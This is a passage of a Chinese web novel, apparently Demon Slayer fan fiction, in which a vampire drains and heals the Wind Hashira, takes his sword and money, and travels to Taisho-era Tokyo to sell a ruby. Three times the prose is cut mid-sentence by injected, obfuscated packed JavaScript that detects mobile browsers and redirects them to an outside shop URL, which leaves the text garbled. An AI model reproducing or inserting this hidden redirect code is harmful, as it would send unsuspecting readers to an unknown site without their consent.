嘴里香甜的味道让玖兰绫夏的眼底红光大涨,手上的力道下意识加重,把那不断挣扎的手臂按得更紧。 不满足于手腕上细小的伤口,她的视线缓缓上移,落在男人敞开的领口之上。 脖颈那里的动脉,正在皮肤下有力地鼓动。 身上还有伤,体力也几乎耗尽,不死川实弥完全挣扎不开。 后颈一片寒凉,他察觉到玖兰绫夏看向他的眼神,已经很明显染上了欲望。 “滚开!” 男人声音嘶哑,仍旧不肯低头。 玖兰绫夏没有理会他的威胁。 身体从背后压过去,金色的发丝从肩头滑落,拂过男人的耳际。 不死川实弥偏开头,想要躲避,被她的手扣住下颌,硬生生扳了回来。 “别动。”她的声音近在咫尺,“动的话会很疼。” 玖兰绫夏张开双唇,伸出獠牙,抵在了他的脖子上。 血族能透过衣物、皮肤,看到下面的血管。 想要不让血流得到处都是,就要注意吮吸的节奏,还有及时舔舐。 不死川实弥感觉像是有带着倒钩的猫舌在舔他的脖子。 不疼。 但是很痒。 她的唇贴着他的颈侧,呼吸扑在他的皮肤上。 比血液被抽离的感觉更为明显的是,那一下下令人酥麻的吸吮。 好像有无数细小的电流窜过神经末梢。 他的手指在墙面抓过,指腹磨出血痕,却无法缓解那种从身体内部升起的、陌生的战栗。 他不怕痛。 从小挨的打、受的伤、与鬼厮杀留下的疤,他都习以为常了。 可这种连绵不绝的怪异感觉,让他快要从喉咙里滚出什么声音来。 不死川实弥咬住下唇,硬是把那声音咽了回去。 血液在一点点被汲走,身体的温度一点点降下去。指尖开始发麻,眼前的墙面变得模糊、又清晰、又模糊…… 可恶。 他还没有杀掉鬼舞辻无惨。 他还没有为妈妈报仇,为弟弟报仇。 就只能……止步于此了吗? 4. 美味 …… 红豆奶茶实在过于美味。 玖兰绫夏已经很久很久没有尝过这样的滋味了。 血族的味觉对血液的感知是复杂的,不仅是味道,还有那人的体魄、情绪、记忆、生命力。 所以血族在汲取食物的时候,唇齿间会分泌出让猎物感到放松、舒适的元素。 听说有些血族会更偏爱年轻人,因为他们的生命力旺盛,味道更加鲜活。 还会特意用金钱、华服、甜言蜜语将猎物哄得心甘情愿,让血液里浸满喜悦,再一口一口慢慢品尝。 也有些血族喜欢和猎物做缠绵的事,选择在猎物最情动的时候,刺破他的喉咙。 这个男人的血里有愤怒、有憎恨、还有不甘,像是有一点回苦的抹茶,混在了浓郁醇厚的红豆沙里。 香甜不腻。 她不知餍足地吮着,一不小心就贪食过多了。 等到反应过来的时候,玖兰绫夏发现身下的人已经不再挣扎,有点过分安静了。 松开压制他的手臂,男人脱力的身体顺着墙壁滑倒在地。 玖兰绫夏把他扶起来靠坐在墙边,男人脸色惨白,她拍了拍他的脸:“喂,还活着吗?” 掌心的触感冰凉,好像在摸一个死人。 男人的脑袋软趴趴地歪倒在一旁,没有回应。 玖兰绫夏抿了抿唇,略带歉意地说:“不好意思啊,你太香了,我没控制住。” 男人的眼皮艰难地撑开一条缝,混浊的瞳孔似乎在努力辨认眼前的人影。 他嘴唇抖动了一下,大概是想继续骂她,但没有发出任何声音。 那眼皮撑不住一秒又合上了。 玖兰绫夏享用他的时候,只特别注意了一下,没有把能让人类转变成血族的物质注入他的体内。 所以不用担心它会变成堕落者,只是没想到自己会没控制好吸入量…… 她垂下视线,目光扫过男人胸口的凹陷。那里在之前的战斗中被她打断了几根肋骨,刚刚在挣扎的时候,断骨扎进了内脏里。 现在全身大半的血都没了,如果不用那个能力治疗他的话,他会死。 一条先生曾反复告诫过她:“绫夏大人,您继承自始祖的治愈之吻是这世上最接近于起死回生的能力。这样的能力一旦暴露,将会引来无数人类的觊觎。所以无论何时,无论面对何人,都不要轻易使用。” 那她要看着这个人死在自己面前吗? 这不太好吧。 一条先生说得没错,身为完美的纯血种,心软果然是她唯一的弱点。 玖兰绫夏一边叹气,一边俯下身,伸手托起男人的下颌。 她收起獠牙,低头覆上了他的唇。 …… 不死川实弥原本因为失血过多,意识已经涣散了。 但被柔软之物贴到嘴唇的瞬间,他整个人骤然清醒过来。 这恶鬼——在做什么?! 不死川实弥张开嘴,想反过来咬她。 可惜,此时的他连咬人的力气都没有了。 然后他感觉到有什么东西,从相贴的地方输送进来,冰凉,滑腻,像凝固的葛粉糕。 胸口被踢断的肋骨,不再扎着肺叶。手腕上的伤口,疼痛的感觉消失了。就连身上那些陈年旧伤,也在慢慢淡去。 这又是怎么回事? 他的身体竟然自己在恢复? 脑子里闪过一个可能性,不死川实弥的眼神从凶狠变成震惊,又从震惊变成更深的凶狠。 难道他被变成鬼了?! 该死的!!! 就算变成鬼,他也不会放过她的! 他会先想办法杀了她,再用日轮刀砍断自己的脖子! 但是很快,不死川实弥推翻了自己变成鬼的猜测。 身上除了失血过多导致的冰冷无力,他没有发现其他任何异常。 没有对血肉突如其来的饥渴,没有变成鬼的反应。 他好像只是伤口愈合了,仅此而已。直觉告诉他,这跟金发恶鬼刚刚对他做的事情有关。 身体的疼痛没有了,但大脑开始发沉。不死川实弥知道这是失血过多后的困倦,是身体想要昏睡过去的信号。 但是他死死咬住后槽牙,强迫自己清醒着。 他想要擦擦自己被恶鬼碰过的嘴巴,但是手臂一点力气也没有,抬不起来。 不死川实弥用眼神恶狠狠地瞪着她:“可恶,你这混蛋……到底想对我做什么?!” 玖兰绫夏直起身,低头看着他。那双刚刚还红得像血的瞳孔,现在已经恢复成清澈的金色。 “我在救你啊。” 不死川:“谁让你救了?!” 喂,这人到底讲不讲道理啊? 玖兰绫夏:“我要是不救你的话,你就要死了。你现在要做的应该是好好感谢我,而不是对我出言不逊。” 不死川实弥被她这理所当然的态度气得胸口一堵,剧烈咳嗽起来。 玖兰绫夏觉得有点好笑。 失去的血液无法通过治愈之吻恢复,这男人现在虽然伤口都好了,但浑身虚软,最多也就能对她动动嘴皮子。 所以他才会这么生气吧。 治愈之吻还把男人身上所有疤痕都祛掉了,玖兰绫夏的目光在他脸上扫过。没有了纵横交错的伤疤,这张脸竟然意外地年轻。 眉眼还带着少年人的青涩,脸颊的线条虽然绷得很紧,却也掩不住尚未褪尽的圆润。 也就是俗称娃娃脸。 玖兰绫夏从他的记忆里读取到,他的年龄才不到二十岁。 因为身高优越,满身满脸的伤疤,还有声音太凶、眼神太狠,所以才让她误解了他的年龄。 记忆里还看到他特别喜欢吃秋饼配茶,怪不得他是一股红豆奶茶味呢。 他的名字是不死川实弥,家人都是被恶鬼所害,所以他恨极了鬼。 他在结识了粂野匡近之后,加入了一个叫鬼杀队的组织。 他修习一种叫呼吸法的剑术,一年前,他和匡近协同诛杀了十二鬼月中的下弦壹。匡近身死,而他被鬼杀队的主公任命为柱——也就是超过了鬼杀队中普通队士品级的最强柱石。 …… 知晓了他的仇恨,玖兰绫夏对他刚刚的敌意,倒是有了几分理解。 “不死川实弥。”她站在他面前,低头看着他,“你和鬼之间的仇,我管不着。但我不是鬼,我是血族。” 不死川实弥:“管你是什么?吃人的畜生,都该死!” 玖兰绫夏皱眉强调道:“我们血族不吃人,如果不是你一直在冒犯我的话,我甚至不会对你使用暴力。” “你吸了我的血。”他冷笑一声,提醒她这个无法抵赖的事实。 “吸血不等于吃人。”玖兰绫夏平静地给他科普常识,“血族以血液为食,但这里的血液包括了所有类型的动物血,并不局限于人类。而且,还有和血液99%相似的替代剂,喝那个也可以。” 不死川实弥满脸“你在说什么鬼话”、“不想听”的表情。 玖兰绫夏继续说:“刚刚是你先挑衅我,也是你先动手伤我,所以我认为错在你。现在你身上的伤我已经治好了,你的血,就当是给我的治疗费了。” 不死川实弥:“你觉得我会信吗?你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416084|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是差点吸干我!” “那是意外。”玖兰绫夏难得有点心虚,但面上不显,“但我最后还是救了你,否则以你的伤势,现在恐怕已经死了。” 不死川实弥:“我宁愿死也不要你救!” 玖兰绫夏戳穿他的嘴硬:“刚才我吸你血的时候,你明明拼命挣扎着想要活下去啊。” 不死川实弥一噎,他当然想活下去。 他还要杀鬼舞辻无惨,还要为妈妈报仇!他不能死在这里! 玖兰绫夏看着他说不出来的憋屈样子,再次失笑:“别瞪了,瞪我也不能把我怎么样,你现在连站都站不起来。” 这人是真的倔,已经连动手指的力气都没有了,眼神还像要把她生吞活剥似的。 不死川实弥咬牙:“等我恢复了……” “等你恢复了再说吧。” 玖兰绫夏打断他的话,忽然蹲在他旁边,开始伸手在他身上翻找起来。 不死川实弥全身僵住。 她的手从他敞开的衣襟探进去,在胸口和腰间来回摸索。他整个人一动不敢动,脸以肉眼可见的速度涨红—— “你、你干什么!”不死川实弥的声音又气又急,还有点抑制不住的慌乱,“别碰我!你这个混蛋!” 玖兰绫夏没理会他的抗议,继续翻。 “我说别碰我!听到没有!把手拿开!” 少年的怒骂一声比一声高,但因为失血过多,声音虚软,听起来完全没有威慑力。 那张因为羞愤涨红的娃娃脸,看起来就像被轻薄了似的。 玖兰绫夏在他怀里摸出一个小布包,打开看到是止血药和布条。 没用,她不需要。 继续翻。 不死川:“你到底想干什么!你个恶鬼!混账!变态!” 她又翻出几样东西,一个干饭团,看起来不好吃。打火石和引火棉,这个倒是用得着。 玖兰绫夏把东西收起来,然后继续搜。 不死川实弥的脸色已经憋得从红转紫了。 在他腰带内侧的地方,她摸到一个布制的小钱袋。拉开抽绳,里面有一张五日元的纸币,还有一些零钱。 她把钱袋也收了起来。 不死川实弥也终于反应过来她想干什么了,脸色由紫转黑,黑如锅底:“你抢劫?!” 玖兰绫夏又摸出个小纸包,打开一看是盐,随手扔回他身上:“这些东西就当是我替你治疗的感谢费了。” 不死川实弥狠狠瞪着她:“谁要感谢你了?!” 东西丢了就丢了,等恢复过来再找她算账。正这么安慰自己的时候,他看到玖兰绫夏突然朝他腰间的日轮刀刀鞘伸出了手。 不死川实弥:“!” 她想干什么?! 解下了刀鞘的玖兰绫夏,又拿起了掉落在不远处日轮刀。 她直接收刀入鞘,把它挂在了自己的腰上。 不死川实弥:“!!!” 她一个恶鬼拿日轮刀干什么?! 他想扑过去抢回来,可他动不了。 眼睁睁看着那个金发身影,越走越远。 “你给我站住!把刀还给我!那是我的刀!混账!恶鬼!你听到没有!” 玖兰绫夏没有回头,只是抬起一只手,随意地挥了挥,像是在说“拜拜”。 不死川实弥气得浑身发抖。 这辈子,他还没被人这样对待过,被揍了一顿,还被吸了血,搜了身,抢了钱,最后连刀都被拿走了! “我一定会杀了你!”他对着那个背影嘶吼,“不管你在哪,不管你是什么东西,我一定会找到你,杀了你!” 5. 去东京 催眠和消除记忆是血族与生俱来的能力之一。 一般情况下,血族不会主动暴露于普通人面前,如果出现意外状况,就可以消除对方的记忆来善后。 玖兰绫夏没有消除不死川实弥的记忆。 主要原因在于他是鬼杀队的成员。 从他的记忆里了解到,这个组织类似于现代的猎人协会。猎人协会负责清除滥杀无辜的血族堕落者,而鬼杀队专门诛杀以人为食的恶鬼。 两者在本质上其实有共通之处。 让鬼杀队知道血族的存在,没关系。或者说,他们更应该知道。 他们诛杀恶鬼,玖兰家猎杀堕落者,目标都是那些失控的、危害人类的非人之物。 更何况她把治愈的能力也暴露了出去,这种能起死回生的力量,正常人应该会选择拉拢而不是敌对吧? 鬼杀队也不可能全是不死川实弥这种脾气暴躁、无法沟通、不讲道理的叛逆少年。从他的记忆里,她看到他们的主公是一位很有头脑的领导者,温和、睿智,深受队员敬重。 玖兰绫夏还不知道自己要在这个时代停留多久,也许几个月,也许几年。 说不定以后会和鬼杀队的人打交道呢。 有了不死川实弥的记忆后,她想去镇子上就简单多了。 无论是盐尻町的情况,还是更远的东京市的情况,都从他的记忆里有了大致的了解。 离开村子前,玖兰绫夏使用了分身的能力。 黑色的雾气从肩头升起,凝结成一只羽毛乌黑有光泽的乌鸦。 这个能力也是血族的天赋之一,分身可以与本尊共享五感和记忆,通常用来监视、收集情报,必要时还可以放出一堆来迷惑敌人。 许多血族习惯分化成蝙蝠的样子,但玖兰绫夏觉得蝙蝠太显眼了。 明明是夜行生物,到了白天还在到处乱飞,不是摆明了告诉别人它有问题吗? 既然是监视,就该低调一点。 乌鸦就很好,哪里都有,什么时间都在,没人会多看一眼。 她抬起手臂,乌鸦振翅飞起,在空中盘旋一圈,朝着高木家院子的方向飞去…… 不死川实弥还坐在墙边,他闭着眼,脑袋放松地垂向一侧。 他昏过去了。 因为失血,脸白得像纸。 身上的白色羽织有几处浸了血迹,干涸后变成深褐色的硬块。 距离天亮还有几个小时,天空落着雪,他的嘴唇冻得微微发青。 玖兰绫夏的乌鸦落在院墙的横梁上,低头看着这一幕。 它歪着脑袋,用喙梳理了一下翅膀下的羽毛,然后平静地蹲坐下来。 没过多久,夜空中传来一阵扑棱声。 一只鎹鸦落在不死川实弥旁边的雪地上,张嘴吐出了人言:“实弥,你怎么了?” 昏迷中的少年没有回应。 鎹鸦声音慌张起来:“实弥!你还活着吗?呜……” 从不死川实弥的记忆中,玖兰绫夏知道了鎹鸦这种生物是鬼杀队为正式队员一比一配备的伙伴。 现代科学研究表明,乌鸦是智商极高的动物,它的认知能力在鸟类中位居榜首,甚至可与灵长类动物媲美。 不过鬼杀队的鎹鸦,不仅具备独立思想,还能开口和人类沟通。 ……已经脱离了现代科学的研究范畴。 鬼杀队培养鎹鸦就是为了给队员传递情报、命令、报告敌情,还能战斗中提供支援。 急促的脚步声传来,几个穿着制服、脸上蒙着布的人影快速接近。 “找到了!风柱大人在那边!” “快,检查周围是否有鬼的踪迹!” “是!” 鎹鸦带来了鬼杀队后勤部队隐的成员,他们通常负责情报收集、战后处理、物资运输等非战斗任务。 几个人迅速分散,其中两个快步跑到不死川实弥身边蹲下。 “风柱大人?风柱大人!” 其中一人伸手探了探他的脖颈,又翻开他的眼皮查看,然后松了口气:“风柱大人还活着!只是失血过多,加上天气冷,休克了。” 鎹鸦听到这话,呜呜的哭声戛然而止。 它清了清嗓子,用完全不同的冷静语气说:“哦,没死,那就好。” “失血过多?”另一人皱眉,“伤口在哪里?快止血!” 两人手忙脚乱地开始检查不死川实弥的身体。 衣服上的血迹确实很多,衣襟、袖口、领口都沾满了暗红的血渍。但翻来覆去检查了好几遍,他们愣是没找到一道伤口。 “……奇怪。”其中一人挠了挠头,“没有伤口啊,这血是哪来的?” “会不会是别人的血?” “有可能,但失血过多又是怎么回事?” 两人对视一眼,都从对方眼中看到了疑惑。 鎹鸦跳到不死川实弥胸口,用喙啄了啄他的脸:“实弥,醒醒!” 不死川实弥依然没反应。 鎹鸦又叫了两声,忽然顿住。 它歪着脑袋,盯着不死川实弥的脸看了半天,然后发出一声惊讶:“咦?!” “怎么了?”隐成员抬头。 “他的脸……”鎹鸦用翅膀指着他,“没有疤了。” 两个隐成员脑袋挨着脑袋凑近。 刚刚他们都没有注意到,那些纵横交错覆盖了大半张脸的伤疤,全都不见了。 上面的皮肤白皙光滑,月光照在他脸上,那张没了伤疤的脸竟然……还挺好看的。 没了吓人的疤痕,风柱大人看起来年轻了好几岁。他脸颊底下还藏着点婴儿肥,让他看起来比实际年龄还要小一点。 “风柱大人原来长这样啊……”一人小声嘀咕。 “嘘,别说了,等他醒了知道咱们议论他,非揍人不可。” “也是也是。” 把不死川实弥抬进屋里,盖上保暖的毯子,几个隐成员开始收拾现场。 高木夫妇和松太郎都还活着,只是全部昏迷了。他们把几人都抬进屋里,处理了伤口,盖上被子。 处理妥当后,一个隐成员走到院子里,抬头看着即将破晓的夜空,若有所思地说:“鬼被除掉了吗?还是逃走了?今晚到底发生了什么?风柱大人流了血,却一点伤口都没有,疤还全没了……” 另一个隐成员:“等风柱大人醒来,问问他不就知道了?” …… 这一切都被玖兰绫夏的乌鸦看在眼里。 另一边。 玖兰绫夏本尊已经按照不死川实弥记忆中的路线,抵达了最近的镇子。 说是镇子,其实比她想象中要小得多。一条主街贯穿南北,两旁是低矮的木造房屋,店铺的门窗紧闭。 街上空无一人,只有几只野猫在屋檐下蜷缩着,听到脚步声便警觉地竖起耳朵。 天还没亮,她不能在街上乱晃。 这个时代虽然没有全国统一的宵禁制度,但这个时间点如果遇上巡警,十有八九会被盘查。 她没有身份证明,很可能被带回交番(派出所)扣留审查。 而且她身上还带着一把刀,自从明治政府颁布废刀令之后,普通人佩刀上街就是违法。 只有现役军人警官、士族特殊许可才能在公共场合佩带刀剑。尤其在东京、京都、横滨、大阪这种城市,管制更加严格。 就算是鬼杀队队士,也不能大摇大摆地把刀露出来。 鬼杀队是没有得到政府正式认可的民间组织,虽然首领产屋敷家与日本某些位高权重之人有诸多联系,但队士们在出行时也会注意避开与警察之类的存在正面对上。 毕竟如果因为深夜可疑出行或是在公共场合露刀等这类原因被拘留,还得让产屋敷家出面捞人,这是在给他们的主公大人添麻烦。 玖兰绫夏需要先找一个地方待到天亮再行动。 这个时间点,旅馆就算开门,她一个年轻女性独自去投宿也过于扎眼了。 跃上一处屋顶,她扫开积雪,坐了下来。 过了一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416085|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她干脆躺下来,双手枕在脑后,望着逐渐升起的太阳。 天亮之后。 玖兰绫夏打算先去町役场办理身份证明,然后再买火车票去东京市。 其实买票是不需要提供身份证明的,但是后续住旅馆、或者遇到警察盘查都要用到那个东西。 在乡镇办理比在城里办理简单得多,乡镇人少、手续松、没那么多规矩,很容易糊弄过去。 从屋顶下来,玖兰绫夏拍干净身上的雪,来到镇上的町役场。 “我想办理住民手账,还有身份担保书。” 身份担保书是以后租屋需要用到的东西,就算去了京东,也还不知道什么时候能找到眷属,她可能得给自己找固定居所。 办理身份证明的职员看到她,免不了也是一阵怔愣。 实在是她金色的头发太过少见,更别说那身精致剪裁的黑色洋装,还有周身的气度,很容易让人联想到那些从大城市来的小姐。 血族的催眠术只需要一个对视,就能让对方放下戒心。 职员的眼神变得有些失焦,语气没有丝毫迟疑:“稍等,我这就帮你办理。住民手账需要填写你的姓名、出生年月、原籍……” “玖兰绫夏,年龄十八岁,原籍东京市。” 不到一个小时,玖兰绫夏就拿到了相关证件。 镇上的住民手账到了城里虽然不能百分百通用,但是没关系。有需要用到的时候搭配着催眠术一起就好了,总不至于需要用的时候她什么都拿不出来。 接下来是买车票。 火车站比町役场热闹得多,售票窗口前排着几个人,她站到了队尾。 “到东京新桥町。” “单程?” “单程。” “三等两円,二等三円,一等六円,要哪种?” 三等座人多拥挤,是硬座,还得忍受各种奇怪的气味。二等座有软座,还有禁烟区。一等座倒是宽敞豪华,服务也好,但是她没有那么多钱。 玖兰绫夏叹了口气:“二等。” 售票员把写好的票推出来:“下午两点发车,请付三円。” 玖兰绫夏从钱袋里数出三张纸币递过去。 火车站旁边有一排商店,有卖吃食的铺子,卖特产的小摊,还有杂货店。 她买了一个棕色手提皮箱,长度刚好能让日轮刀斜着放下。 提着皮箱走出商店,她又绕到旁边的报刊摊前。报架上有《东京朝日新闻》《铁道时报》《读卖新闻》,还有一些杂志。 玖兰绫夏随手拿起《东京朝日新闻》,头版头条是“大逆事件余波”,下面还有几条新闻:北海道遭遇暴风雪,死伤多人。东京市电车工会要求涨薪。某大臣在议会发言引发争议…… 把报纸卷起来,付了钱,她回到候车厅,找了个空着的长椅坐下。 刚翻了两页,眼前的光线忽然暗下来。 “这位小姐,你是一个人去东京吗?” 玖兰绫夏抬起眼,两个穿着西装、戴着圆顶礼帽的男人站在她面前。 说话的那个人,脸上挂着和善的笑容,眼睛却在她身上来回扫。 另一个男人不甘落后地接话:“一个人出门多危险啊,我们也要去东京,不如一起同行?路上也好有个照应。” 玖兰绫夏回了句“不必”,一点多余的话都懒得说。 男人似乎有点不甘心:“小姐在看新闻吗?真是有见识。” “两位挡到光线了。” 玖兰绫夏瞥了他一眼,男人忽然觉得背后有点发凉,讪讪地退开。 下午两点,广播里传来发车的通知。她合上报纸,提起皮箱,朝站台走去。 二等车厢比想象中舒服,深红色的绒面座椅,干净的玻璃窗,车厢里只有几个穿着体面的乘客各自坐着。 火车启动时发出咣当的响声。 看完报纸后,无所事事的玖兰绫夏切换了乌鸦视角,打算观察一下不死川实弥那边的情况。 这么久了,他应该醒了吧? 6. 苏醒 因为不死川实弥一直在昏睡,隐成员就把他就近带到紫藤花之家静养,等他醒来后再做后续安排。 这里环境清幽安静,周围种满了紫藤花,鬼进不来很安全。 直到下午,不死川实弥才被饥饿感唤醒。 他的鎹鸦和负责照看的隐队员立刻围了过去。 “实弥?” “风柱大人?” 不死川实弥的眼皮挣扎了几下,终于睁开。 睡得太久了,大脑反应有点慢。 但是过了两秒,那些记忆就涌了进来。 昨晚,他和金发恶鬼战斗,被单方面压制……还被又吸又亲…… 瞳孔骤然紧缩,不死川猛地从榻榻米上坐起来:“那个混蛋——” 周围每个隐队员的目光都在他脸上转来转去,眼神极其微妙。 像在看什么稀罕物。 不死川实弥回过神来:“……看什么?!” 声音还是那股熟悉的凶巴巴风味,隐队员们齐齐摇头:“没什么没什么,风柱大人醒来真是太好了。” 他的鎹鸦就没那么含蓄了,爽籁跳到床头,用翅膀指着他的脸:“实弥,你的脸上没有疤痕了。” 不死川实弥抬手摸了摸自己的脸,之前那些坑坑洼洼的疤痕触感的确不见了。 他掀开被子站起来,但马上又因为贫血眼前一阵发黑。 他踉跄了一下,扶住墙。 隐队员赶紧过来扶住他的胳膊:“风柱大人,你没事吧?” 缓过来的不死川实弥甩开了他的手,从房间的柜子里找出了一面镜子。 镜子里的脸让他愣住了。 那些伤疤全都没有了,皮肤光滑平整,让他看起来…… 很年轻。 甚至有点……嫩。 不死川实弥顿时额头蹦满了青筋:“那!个!混!蛋!呢!” 口中每一个字都带着杀气。 隐队员们面面相觑:“谁?” 不死川:“那个金发的恶鬼,她在哪?!” 玖兰绫夏的乌鸦蹲在门外院子里的紫藤花架上,从拉开的移门里看到这个情形,用翅膀掩着喙打了个呵欠。 完全没把他恶狠狠的态度放在心上。 一个隐队员小心翼翼地解释:“我们找到你的时候,周围已经没有任何鬼的踪迹。除了那几位被袭击的村民,没有其他人了。” 不死川实弥闭上眼睛,深吸一口气。 他身上的疤应该是在那个时候,和他的伤口一起,被她用那个该死的吻给弄没的。 他抬手狠狠擦了擦嘴。 “风柱大人。”隐队员试探着问,“昨晚到底发生了什么?你说的金发恶鬼是……?” 不死川实弥磨着牙,不爽地说:“她说她是什么血族,还对我用了很奇怪的能力。” “血族?”隐队员们互相看看,“那是什么?” “我怎么知道?!” 因为情绪太激动,大脑供血不足的不死川又眩晕了一下,被旁边的人扶住。 爽籁跳到他肩膀上,忽然问:“实弥,你的刀呢?” 不死川实弥沉默了。 隐队员们也沉默了。 他们好像确实没注意到,风柱大人的日轮刀不见了。 “被她拿走了。” 不死川实弥深呼吸,强行让自己冷静下来。 不管她是什么,不管她在哪,他一定要找到她! 把刀抢回来! 然后再把她的脖子砍断! 不死川实弥:“我要求见主公大人。” 一行人收拾好行装后,出发前往鬼杀队总部。 玖兰绫夏的乌鸦也远远地跟在他们后面。 …… 从镇子前往东京有一百多公里,经过大约五个小时的车程,玖兰绫夏乘坐的火车抵达了东京新桥町。 拎着皮箱走出车站,晚上七点的街道,入目是一片璀璨的灯火。 两旁是两三层高的砖造建筑,墙上挂着各式各样的招牌和广告灯。有写着“牛鍋”、“洋食”的餐馆招牌,有挂着“旅館”字样的灯。 街上的行人络绎不绝,穿着西装的男人匆匆走过,踩着木屐、穿着和服的少女们挽着手说笑,背着孩子的妇人在路边小摊前停留,骑着自行车的邮差穿过人群…… 电车从远处驶来,车厢里亮着灯光,挤满了乘客。 看着这片灯火通明的地界,玖兰绫夏忽然有了一点回到现代社会的感觉。 叹了口气,她往前走,想要先找个落脚的地方。 手里的钱明显不够了,买车票花了三日元,买手提箱花了一元五十钱,手里只剩下两日元。 这点钱,在东京能干什么? 玖兰绫夏扫了眼街边的旅馆招牌,稍微干净体面一点的和式旅馆,一晚至少也要五日元。那些洋风酒店更贵,十到二十日元不等。 便宜的地方也有,那种在巷子深处的宿屋,一晚几十钱就能住。 但是那里的环境非常糟糕,散发着陈旧气味的被褥,不隔音的薄墙,半夜也许还会听见隔壁的鼾声…… 她不想委屈自己,所以,得先想办法弄到钱。 玖兰绫夏在街角停下来思考,那些穿越小说里,主角来钱最快的方法都是去赌场。 但这个时代没有合法赌场。 那种□□经营的地下赌场倒是有,藏在里巷这些隐密的场所里。 只是这个时代对女性的约束很强,良家女性如果出现在地下赌场会立刻成为焦点。即便是摩登女孩,也从来不会涉足那种地方。 算了,还是卖东西换钱吧。 玖兰绫夏摸出脖子上戴着的首饰,那是一条细细的铂金链子,坠着一颗鸽血红宝石。 这是某次生日宴上眷属献给她的礼物,宝石的颜色纯净,尺寸不算大,切割和镶嵌都出自名家之手。 她平时不喜欢戴太沉的首饰,正因为这条吊坠轻巧精致,所以才一直戴着。 按现代的价值,它至少在一千万円以上。 玖兰绫夏闭上眼睛,将念识扩散出去,附近几条街区的景象涌入脑海…… 找到了。 附近有两家挂着“质”字招牌的店铺,那是质屋,也就是当铺。还有一家招牌写着“京桥宝石店”的珠宝洋行。 质屋的典当的流程短,不追问物品来历,是普通人应急变现的首选渠道,但给价格通常会压得很低。 珠宝洋行的价格相对公道,但一般只服务于华族(权贵)和富商之流。 先试试珠宝洋行吧,实在不行再去质屋。 玖兰绫夏拎着手提箱,拐进另一条街,在那家气派的珠宝店门口停下。 洋行橱窗里摆着天鹅绒的展台,上面陈列着钻石戒指、珍珠项链、翡翠胸针等华贵的首饰。 玖兰绫夏推门进去。 一个穿着黑色西装的年轻服务生迎上来:“欢迎光临,小姐需要什么?” 看清这位客人的样貌后,服务生脸上的微笑更加热情了。 这位小姐是金色的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416086|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,又穿着黑色的洋装,还有那种站在宝石店里却像站在自家客厅一样从容的态度,服务生一下就看出来她不是普通的客人。 玖兰绫夏和他对视的一秒,催眠术展开。 服务生语气恭敬地说:“请先随我到贵宾室稍等一下。” 服务生把她引到一个接待室,房间的墙上挂着装饰油画,桌上摆着新鲜的插花。 请她坐下后,服务生又问:“小姐想喝点什么?有红茶、咖啡……” “红茶,谢谢。” 服务生上好茶后退了出去,过了一会儿,换成了一位穿着更讲究的西装的中年男人。 “让您久等了,我是这里的经理,敝姓寺井,请问小姐怎么称呼?” “我姓玖兰。”玖兰绫夏摘下脖子上的项链,“我想把这个卖了。” 吊坠上的鸽血红宝石在灯光下折射出浓艳的光泽,像一滴凝固的鲜血,寺井经理粗看一眼就知道品质不凡。 这位小姐年纪轻轻,出手就是鸽血红,不知道她是什么来历……? 玖兰绫夏的催眠术再次展开,给他下了心理暗示:这位小姐值得信任,东西的来历也没有问题。 寺井经理这才拿起项链,从马甲口袋里掏出一个小巧的放大镜,凑到灯下仔细端详。 玖兰绫夏端起茶杯,抿了一口。红茶的温度适宜,只是味道一般,她放下了杯子。 鉴定完成后,寺井经理报出了两万日元的交易价。 玖兰绫夏的催眠术并没有干涉对方的报价,所以,他才会把价格压得这么低。 不过在这个时代,一个普通职员一年的收入也才几百日元,两万日元已经是普通人一辈子都存不到的巨款了。 如果她坚持要更高的价格,也许需要层层审批,流程上更复杂。催眠术不是万能的,影响一个人容易,影响一群人难。 这样想着,玖兰绫夏爽快地点头:“可以,但我要求现钱立付。” 寺井经理脸上露出一点为难的神色:“现钱的话……玖兰小姐,实在抱歉,我们店里现在没有这么多现金。这么大的金额,需要从总行调过来。最快的话,两天后可以准备好。” 玖兰绫夏皱眉:“两天太久了,我有急用。” 寺井经理赶紧补充:“这样,我可以先开售卖凭证,支付五千日元作为内金(订金),余款您凭凭证两天后随时来取。” 这是行里对上等客人常做的通融。 玖兰绫夏同意了。 经理对外面吩咐了几句,很快,服务生端着一个托盘进来,上面放着一叠纸币和一纸文书。 玖兰绫夏在文书在落款处签了名,寺井经理把其中一联折好递给她,又把那叠纸币推过来。 一沓五千日元,用纸条扎着。 玖兰绫夏抽了两百出来,放在随身钱袋里,其他的收进皮箱。 从珠宝洋行出来的时候,时间已经很晚了。 街道上的行人和刚才比起来少了许多,只有零星几个晚归的人匆匆走过。 